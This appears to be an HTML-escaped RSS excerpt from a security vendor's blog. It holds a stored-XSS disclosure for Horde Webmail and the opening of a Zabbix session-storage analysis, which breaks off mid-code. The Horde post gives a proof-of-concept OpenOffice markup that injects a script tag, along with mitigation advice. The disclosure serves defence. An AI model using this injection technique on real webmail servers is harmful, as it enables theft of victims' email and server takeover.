options:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;At the repository level, click on the ‘&lt;strong&gt;&lt;em&gt;Security&lt;/em&gt;&lt;/strong&gt;’ tab, and ‘View alerts’.&lt;/li&gt;&lt;li&gt;In your pull request, click on the ‘&lt;strong&gt;&lt;em&gt;Checks&lt;/em&gt;&lt;/strong&gt;’ tab, ‘Code scanning results’, and ‘SonarCloud’&lt;/li&gt;&lt;/ol&gt;&lt;h2&gt;3 reasons to start using GitHub code scanning with SonarCloud&lt;/h2&gt;&lt;h3&gt;1. Easy code security review &amp;amp; prioritization&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With GitHub code scanning alerts, we’re making your &lt;a href=&quot;https://www.sonarsource.com/solutions/security/&quot;&gt;code security review&lt;/a&gt; easier. From now on, in the event of a failed quality gate for instance, you can easily review the full list of security vulnerabilities in the pull request, and start prioritizing your work in GitHub.&lt;/p&gt;&lt;h3&gt;2. Fast code security vulnerability investigation&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;GitHub code scanning, together with SonarCloud analysis, provides everything you need to investigate a vulnerability. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Directly in GitHub, you can learn why you have an issue, where it’s located and how it flows in your code. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To help you with that, you’ll find the full &lt;a href=&quot;https://rules.sonarsource.com/&quot;&gt;rule&lt;/a&gt; description along with a relevant example of a compliant implementation.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/2129739f-5dda-4f0e-a33b-ed472b0abe1e/body-3ad085be-4287-47cb-98f7-9b38375053fb_GitHub%2Bcode%2Bscanning%2Bvulnerability%2Breview.png&quot; /&gt;&lt;h3&gt;3. Instant issue status synchronization&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;More than just a security review, code scanning will also allow you to dismiss vulnerabilities that you think are False Positives, or something you Won’t Fix. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Two clicks are all it takes. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When you do, SonarCloud will automatically be synchronized and your PR decoration refreshed instantly. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the same way, if you update a vulnerability status in SonarCloud, GitHub code scanning will be updated to reflect the latest changes. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So whatever status update, the two environments will always be aligned.&lt;/p&gt;&lt;h2&gt;Better code scanning security oversight &lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Give it a try during your next &lt;a href=&quot;https://www.sonarsource.com/learn/code-review/&quot;&gt;code review&lt;/a&gt;, and share your experience in our &lt;a href=&quot;http://community.sonarsource.com/&quot;&gt;community forum&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With GitHub code scanning and SonarCloud static analysis, you have all you need to catch security vulnerabilities before they make their way to production! &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For more information, please check our &lt;a href=&quot;https://docs.sonarcloud.io/appendices/github-code-scanning-alerts&quot;&gt;documentation&lt;/a&gt; for GitHub code scanning alerts.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Horde Webmail 5.2.22 - Account Takeover via Email]]></title><description><![CDATA[We recently discovered a code vulnerability in Horde Webmail that can be used by attackers to take over email accounts by sending a malicious email.]]></description><link>https://www.sonarsource.com/blog/horde-webmail-account-takeover-via-email</link><guid isPermaLink="false">31926f51-1f0d-5daa-9789-e57c0372936e</guid><dc:creator><![CDATA[Simon Scannell]]></dc:creator><pubDate>Tue, 22 Feb 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Horde Webmail is a free, enterprise-ready, and browser-based communication suite developed by the Horde project. It is a popular webmail solution for universities and government agencies to exchange sensitive email messages on a daily basis. It is also shipped as part of the popular hosting solution cPanel that is used by many enterprises to manage their website. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We discovered a code vulnerability in Horde that allows an attacker to gain full access to the email account of a victim when it loads the preview of a harmless-looking email attachment. This gives the attacker access to all sensitive and perhaps secret information a victim has stored in their email account and could allow them to gain further access to the internal services of an organization. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Although we reported this vulnerability almost 6 months ago, there is currently no official patch available. Hence, we provide recommendations on how to mitigate this code vulnerability at the end of this blog post. This can be done easily by disabling the affected feature, which does not have a big impact on the usability of the software. By releasing the vulnerability and patch details, we hope to raise visibility and to enable administrators to secure their servers.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This Stored XSS vulnerability was introduced with the commit &lt;a href=&quot;https://github.com/horde/Mime_Viewer/commit/325a7ae2663dd9c50e85fe515033454669f16f28&quot;&gt;325a7ae&lt;/a&gt;, 9 years ago. It likely affects all the Horde instances deployed as of today and works under default configurations.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;An attacker can craft an OpenOffice document that when transformed to XHTML by Horde for preview can execute a malicious JavaScript payload. The vulnerability triggers when a targeted user views an attached OpenOffice document in the browser. As a result, an attacker can steal all emails the victim has sent and received.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;By default, Horde ships with an admin panel, which allows admins to execute arbitrary system commands on a Horde instance through the administrative interface. If an attacker succeeds in targeting an administrator with a personalized, malicious email, they could abuse this privileged access to take over the entire webmail server.&lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the following sections, we go into detail about an unusual XSS vulnerability that occurs due to a relaxed matching rule in an XSLT document. &lt;/p&gt;&lt;h3&gt;Background: OpenOffice documents and XSLT transformations&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;An OpenOffice document is a ZIP file containing XML documents, as well as other files needed to render a document, such as images. When Horde is asked to convert an OpenOffice document to HTML for its previsualization, it uses XSLT (eXtensible Stylesheet Language Transformations) to convert the XML files contained within the OpenOffice document.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;XSLT documents are XML documents containing directives that instruct an XSLT processor on how to convert an input XML document into HTML markup. Let’s learn about some directives to gain a better understanding of XSLT and the root cause of the vulnerability discussed in this blog post.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The following snippet shows the declaration of an XSL stylesheet and uses the &lt;code&gt;&amp;lt;xsl:output&amp;gt;&lt;/code&gt; directive to declare that &lt;code&gt;html&lt;/code&gt; code will be produced by this stylesheet:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
&lt;xsl:stylesheet version=&quot;1.0&quot;
xmlns:xsl=&quot;http://www.w3.org/1999/XSL/Transform&quot;&gt;
 
&lt;xsl:output method=&quot;html&quot; /&gt;
...&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Another important directive is the &lt;code&gt;&amp;lt;xsl:template&amp;gt;&lt;/code&gt; directive. In the following example, the template is always processed as it is run when matched against the root element of an XML document:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;xsl:template match=&quot;/&quot;&gt;
&lt;html&gt;
   &lt;body&gt;
       &lt;h1&gt;
           &lt;xsl:value-of select=&quot;/BlogPost/Title&quot;/&gt;
       &lt;/h1&gt;
   &lt;/body&gt;
&lt;/html&gt;
&lt;/xsl:template&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the example of the &lt;code&gt;&amp;lt;xsl:template&amp;gt;&lt;/code&gt; above, the &lt;code&gt;&amp;lt;html&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;h1&amp;gt;&lt;/code&gt; tags are not processed and become a part of the final HTML document that is produced. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, the value of the &lt;code&gt;&amp;lt;h1&amp;gt;&lt;/code&gt; tag is dynamically generated. An XPath query is used to select the value of a Title element within the input XML document to be rendered. This is done with the &lt;code&gt;&amp;lt;xsl:value-of select=&amp;quot;/BlogPost/Title&amp;quot;/&amp;gt;&lt;/code&gt; directive.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let’s assume the following XML document, which holds information about a blog post, was to be rendered:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;?xml version=&quot;1.0&quot;?&gt;
&lt;BlogPost&gt;
 &lt;Title&gt;A Blog Post about XSLT vulnerabilities&lt;/Title&gt;
 &lt;Authors&gt;
   &lt;Author&gt;Foo&lt;/Author&gt;
   &lt;Author&gt;Bar&lt;/Author&gt;
 &lt;/Authors&gt;
 &lt;Content&gt;Lorem Ipsum&lt;/Content&gt;
&lt;/BlogPost&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this case, the resulting HTML would look like the following, as the value of the &lt;code&gt;&amp;lt;h1&amp;gt;&lt;/code&gt; tag is dynamically produced:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;html&gt;
   &lt;body&gt;
       &lt;h1&gt;
           A Blog Post about XSLT vulnerabilities
       &lt;/h1&gt;
   &lt;/body&gt;
&lt;/html&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With this background knowledge in mind, let’s look at how an XSS vulnerability could arise when translating XML documents into HTML.&lt;/p&gt;&lt;h3&gt;Stored XSS vulnerability in crafted OpenOffice document&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When Horde is asked to render an OpenOffice document for a user, it utilizes the &lt;code&gt;opendoc2xhtml.xsl&lt;/code&gt; stylesheet file developed by the OpenOffice project. The following code snippet shows how this XSL document is loaded and then used to transform the attacker-controlled &lt;code&gt;content.xml&lt;/code&gt; file:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Horde/Mime/Viewer/Ooo.php&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;       $xslt = new XSLTProcessor();
       $xsl = new DOMDocument();
       $xsl-&gt;load(realpath(__DIR__ . &apos;/Ooo/export/xhtml/opendoc2xhtml.xsl&apos;));
       $xslt-&gt;importStylesheet($xsl);
       $xslt-&gt;setParameter(&apos;http://www.w3.org/1999/XSL/Transform&apos;, array(
           &apos;metaFileURL&apos; =&gt; &apos;file://&apos; . $tmpdir . &apos;meta.xml&apos;,
           &apos;stylesFileURL&apos; =&gt; &apos;file://&apos; . $tmpdir . &apos;styles.xml&apos;,
           &apos;java&apos; =&gt; false,
       ));
       $xml = new DOMDocument();
       $xml-&gt;load(realpath($tmpdir . &apos;content.xml&apos;));
       $result = $xslt-&gt;transformToXml($xml);
       if (!$result) {
           $result = libxml_get_last_error()-&gt;message;
       }
 
       return array(
           $this-&gt;_mimepart-&gt;getMimeId() =&gt; array(
               &apos;data&apos; =&gt; $result,
               &apos;status&apos; =&gt; array(),
               &apos;type&apos; =&gt; &apos;text/html; charset=UTF-8&apos;
           )
       );
   }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Once the XML file has been converted, it is simply returned to the user &lt;strong&gt;without&lt;/strong&gt; any further sanitization after the conversion from OpenOffice document to XHTML. This means that if an attacker could craft an OpenOffice document that leads to JavaScript injection in the resulting XHTML, then a XSS vulnerability occurs.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h4&gt;Finding an injection point in an XSLT stylesheet&lt;/h4&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In a previous example, we used the &lt;code&gt;&amp;lt;xsl:value-of&amp;gt;&lt;/code&gt; directive to query the value of a user-controlled XML element and embed it into outputted HTML code. By default, this directive escapes its output and thus won’t allow XSS. The same escaping applies to attributes, which means we can’t inject attributes into HTML elements.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The vulnerability we discovered comes from an injection point where no escaping is applied, which is shown in the following snippet:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;xsl:template match=&quot;draw:object[math:math]&quot;&gt;
   &lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;
       &lt;xsl:apply-templates select=&quot;math:math/math:semantics/*&quot; mode=&quot;math&quot;/&gt;
   &lt;/math&gt;
&lt;/xsl:template&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The logic of it could be read as: for all &lt;code&gt;&amp;lt;draw:object&amp;gt;&lt;/code&gt; elements which have a &lt;code&gt;&amp;lt;math:math&amp;gt;&lt;/code&gt; element, apply all templates that have their mode attribute set to math. These templates should operate on all children of a &lt;code&gt;&amp;lt;math:semantics&amp;gt;&lt;/code&gt; child. This is because of the &lt;code&gt;*&lt;/code&gt; in the XPath query.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In practice, this means that this template is executed when the attacker-controlled OpenOffice document contains the following tags:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;draw:object&gt;&lt;math:math&gt;&lt;math:semantics&gt;...&lt;/math:semantics&gt;&lt;/math:math&gt;&lt;/draw:object&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The following template operates on any child of the previously shown elements:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;xsl:template match=&quot;*&quot; mode=&quot;math&quot;&gt;
   &lt;xsl:element name=&quot;{local-name()}&quot; namespace=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;
       &lt;xsl:apply-templates select=&quot;@*|node()&quot; mode=&quot;math&quot;/&gt;
   &lt;/xsl:element&gt;
&lt;/xsl:template&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It uses the &lt;code&gt;&amp;lt;xsl:elements&amp;gt;&lt;/code&gt; directive to dynamically create a new HTML tag. The name of the tag becomes the tag that is currently operated on, which is determined by the &lt;code&gt;local-name()&lt;/code&gt; function. As the parent template passed any element to this template, as instructed by the &lt;code&gt;*&lt;/code&gt; in the XPath query, an attacker can create arbitrary HTML elements, including &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tags.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The ability to create arbitrary HTML tags leads to the ability of an attacker to craft an OpenOffice document containing the following markup:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;draw:object&gt;&lt;math:math&gt;&lt;math:semantics&gt;&lt;p&gt;XSS payload: &lt;/p&gt;&lt;script&gt;alert(‘xss’);&lt;/script&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When a victim then views such an OpenOffice document attachment, the XSS payload triggers and gives an attacker full access to their session. This means the attacker can steal all emails and, in a worst-case scenario, even execute arbitrary system commands if the victim has the administrator role.&lt;/p&gt;&lt;h3&gt;Patch&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As there is no official patch available at the time of writing, we recommend disabling the rendering of OpenOffice attachments. To do so, administrators can edit the &lt;code&gt;config/mime_drivers.php&lt;/code&gt; file in the content root of their Horde installation.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As shown in the snippet below, add the &lt;code&gt;&amp;#x27;disable&amp;#x27; =&amp;gt; true&lt;/code&gt; configuration option to the OpenOffice mime handler:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;/* OpenOffice.org/StarOffice document display. */
&apos;ooo&apos; =&gt; array(
   &apos;disable&apos; =&gt; true,      // &lt;---- HERE
   &apos;handles&apos; =&gt; array(
       &apos;application/vnd.stardivision.calc&apos;,
       &apos;application/vnd.stardivision.draw&apos;,
 
       // ...&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Users will still be able to download the OpenOffice documents and view them locally, but Horde won’t attempt to render it in the browser. With this, the vulnerable feature is not used and the Horde instance is protected against exploitation of this vulnerability.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-08-26&lt;/td&gt;&lt;td&gt;We report the XSS issue to the vendor and inform them of our 90-day disclosure policy&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-08-31&lt;/td&gt;&lt;td&gt;The vendor confirms the vulnerability&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-09-23&lt;/td&gt;&lt;td&gt;We ask the Vendor for a status update (no reply)&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2021-10-28&lt;/td&gt;&lt;td&gt;We ask the Vendor for a status update (no reply)&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-02-17&lt;/td&gt;&lt;td&gt;We inform the vendor of the upcoming release&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this blog post, we presented an unusual XSS vulnerability in the Horde webmailer. The vulnerability allows an attacker to craft a malicious OpenOffice document that, when previewed as an email attachment, enables an attacker to steal all emails from the victim. Since there is no official patch available yet, we highly recommend all Horde users to disable the affected feature as described in this blog post.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In general, we recommend developers to always sanitize HTML documents after they have been produced by XSLT rendering, especially when the conversion is performed by a third party library or stylesheet. The most modern way of doing this would be to use a library such as &lt;a href=&quot;https://github.com/cure53/DOMPurify&quot;&gt;DOMPurify&lt;/a&gt; to ensure that only secure HTML elements are produced by the OpenOffice document.&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/zimbra-webmail-compromise-via-email&quot;&gt;Zimbra Webmail compromise via email&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/mybb-stored-xss-to-rce&quot;&gt;MyBB from Stored XSS to RCE&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/smartstorenet-malicious-message-leading-to-e-commerce-takeover&quot;&gt;SmartStoreNET - Malicious Message leading to E-Commerce Takeover&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/wordpress-stored-xss-vulnerability&quot;&gt;WordPress Stored XSS vulnerability&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Zabbix - A Case Study of Unsafe Session Storage]]></title><description><![CDATA[In this article we discuss the security of client-side session storages and analyze a vulnerable implementation in the IT monitoring solution Zabbix.]]></description><link>https://www.sonarsource.com/blog/zabbix-case-study-of-unsafe-session-storage</link><guid isPermaLink="false">3fdc7c86-c710-557c-b0b3-6035808aec2a</guid><dc:creator><![CDATA[Thomas Chauchefoin]]></dc:creator><pubDate>Wed, 16 Feb 2022 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Zabbix is a very popular open-source monitoring platform used to collect, centralize and track metrics like CPU load and network traffic across entire infrastructures. It is very similar to solutions like Pandora FMS and Nagios. Because of its popularity, features and its privileged position in most company’s networks, Zabbix is a high-profile target for threat actors. A public vulnerability broker, a company specialized in the acquisition of security bugs, also publicly announced their interest in this software. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We discovered a high-severity vulnerability in Zabbix’s implementation of client-side sessions that could lead to the compromise of complete networks. In this article, we give an introduction to the different kinds of session storage and discuss what makes an implementation safe. Then, we describe the technical details of the vulnerability that we discovered in Zabbix, its impact and how it can be prevented. Let’s dive into it!&lt;/p&gt;&lt;h2&gt;Client-Side Session Storage 101&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Sessions are all about storing a state across several HTTP requests, stateless by design. To this end, applications commonly hand a unique identifier to each client; they have to transmit it alongside future requests. The server can then load the associated information whether it is stored in-memory, in a database, on the local file system, etc. That’s what we usually call server-side session storage.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This historical approach works well but has drawbacks with the way modern web applications are developed and deployed. For instance, it does not scale well: if the backend service is split across multiple servers, how to make sure one’s session is available across services or even the entire server fleet?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As a result, developers introduced the storage of the session on the client-side. Instead of assigning a session identifier to the client, they now have to send a copy of the state with every request. Technology stacks like ASP and Java wrapped this concept in something called View States, but it is now very common to rely on the JSON Web Token (JWT) standard instead. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/2a9eeb2b-fd3e-4bfd-a7a6-bfd5ec988331/body-d891dc00-e663-484b-ae73-c14387ae401f_zabbix_sessions.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The goal of both approaches is to safely store data client-side, but in a way that backend services can still ensure its authenticity and integrity: it requires the use of cryptography to offer these guarantees. Despite the risks of misconfiguration (weak secrets, support for broken cryptographic algorithms) and the inherent difficulty to revoke JWTs, this is mostly a safe way to proceed.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;One must not confuse the security guarantees offered by encryption and authentication in such use cases. While the encrypted data may look “secure” to uneducated eyes, the backend service cannot detect if the session data was altered by the client. The use of encryption modes like ECB can even let attackers craft a valid, arbitrary ciphertext without knowledge of the key!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As a demonstration of risks that could arise because of an unsafe design and implementation of client-side session code, let’s look at the technical details of the two vulnerabilities we identified in Zabbix. &lt;/p&gt;&lt;h2&gt;Case Study: Zabbix Web Frontend Vulnerabilities&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The monitoring platform Zabbix is commonly deployed on infrastructures with four distinct components:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;em&gt;Zabbix Agent&lt;/em&gt;: service running on all monitored nodes, collecting information when requested by a &lt;em&gt;Zabbix Server&lt;/em&gt;;&lt;/li&gt;&lt;li&gt;&lt;em&gt;Zabbix Server&lt;/em&gt;: it connects to &lt;em&gt;Zabbix Agents&lt;/em&gt; to collect monitoring data and raise alerts if configured thresholds are reached;&lt;/li&gt;&lt;li&gt;&lt;em&gt;Zabbix Proxy&lt;/em&gt;: associating a single &lt;em&gt;Zabbix Server&lt;/em&gt; to hundreds of &lt;em&gt;Zabbix Agents&lt;/em&gt; can be very costly and hard to deploy in some network topologies. &lt;em&gt;Zabbix Proxy &lt;/em&gt;instances aim to centralize the data of entire zones and report the collected data to the main &lt;em&gt;Zabbix Server&lt;/em&gt;;&lt;/li&gt;&lt;li&gt;&lt;em&gt;Zabbix Web Frontend:&lt;/em&gt; an interface to the &lt;em&gt;Zabbix Server&lt;/em&gt;, communicating over TCP and a shared database. This dashboard is used by system administrators to access the collected monitoring data and configure the &lt;em&gt;Zabbix Server&lt;/em&gt; (e.g. list hosts, run scripts on &lt;em&gt;Zabbix Agents&lt;/em&gt;).&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;During December 2021, we analyzed the external attack surface of the &lt;em&gt;Zabbix Web Frontend&lt;/em&gt; to better understand the risks associated with the exposure of this software to untrusted networks. This effort led to the discovery of two critical vulnerabilities, CVE-2022-23131 and CVE-2022-23134. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;These findings are both related to the way Zabbix stores session data on the client-side. We will guide you through their vulnerable implementation, discuss its impact and how it could have been spotted in earlier development stages. &lt;/p&gt;&lt;h3&gt;Impact&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The discovered vulnerabilities affect all supported &lt;em&gt;Zabbix Web Frontend&lt;/em&gt; releases at the time of our research, up to and including 5.4.8, 5.0.18 and 4.0.36. They do not require prior knowledge of the target, and can be effortlessly automated by attackers. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;We highly recommend upgrading your instances running a &lt;em&gt;Zabbix Web Frontend &lt;/em&gt;to 6.0.0beta2, 5.4.9, 5.0.19 or 4.0.37 to protect your infrastructure.&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;On instances where the SAML SSO authentication is enabled, it allows bypassing the authentication and gaining administrator privileges. This access can be used by attackers to execute arbitrary commands both on the linked &lt;em&gt;Zabbix Server&lt;/em&gt; and &lt;em&gt;Zabbix Agent &lt;/em&gt;instances with CVE-2021-46088, for which exploitation code is already public. Unlike &lt;em&gt;Zabbix Agent&lt;/em&gt;, it is not possible to configure &lt;em&gt;Zabbix Servers &lt;/em&gt;to disallow the execution of commands. &lt;/p&gt;&lt;h3&gt;Zabbix’ Client-Side Session Storage Implementation&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Server-side sessions are a built-in feature of PHP. The client is assigned a unique session identifier in a cookie, &lt;code&gt;PHPSESSID&lt;/code&gt; being the most common one, and has to transmit it with every request. On the server-side, PHP takes this value and looks for the associated session values on the filesystem (&lt;code&gt;/var/lib/php/sessions&lt;/code&gt;, sometimes &lt;code&gt;/tmp/&lt;/code&gt;) to populate the superglobal variable &lt;code&gt;$_SESSION&lt;/code&gt;. Session values cannot be freely modified by clients, as they only control the identifier of the session.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The &lt;em&gt;Zabbix Web Frontend&lt;/em&gt; rolls its own client-side storage implementation based on a powerful feature of PHP, custom session handlers. By calling &lt;code&gt;session_set_save_handler()&lt;/code&gt; with a class implementing &lt;code&gt;SessionHandlerInterface&lt;/code&gt;, all subsequent accesses to &lt;code&gt;$_SESSION&lt;/code&gt; will be handled by methods of this class. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In their case, the goal is to map any access to &lt;code&gt;$_SESSION&lt;/code&gt; to cookies. For instance, indexing &lt;code&gt;$_SESSION&lt;/code&gt; results in a call to &lt;code&gt;CCookieSession::read()&lt;/code&gt;; &lt;code&gt;CCookieHelper::get()&lt;/code&gt; is simply a wrapper around &lt;code&gt;$_COOKIE&lt;/code&gt;:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;ui/include/classes/core/CCookieSession.php&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;?php
 
class CCookieSession implements SessionHandlerInterface {
   // [...]
   public const COOKIE_NAME = ZBX_SESSION_NAME;
   // [...]
   public function read($session_id) {
       $session_data = json_decode($this-&gt;parseData(), true);
       // [...]
       foreach ($session_data as $key =&gt; $value) {
           CSessionHelper::set($key, $value);
       }
   // [...]
   protected function parseData(): string {
       if (CCookieHelper::has(self::COOKIE_NAME)) {
           return base64_decode(CCookieHelper::get(self::COOKIE_NAME));
       }
 
       return &apos;&apos;;
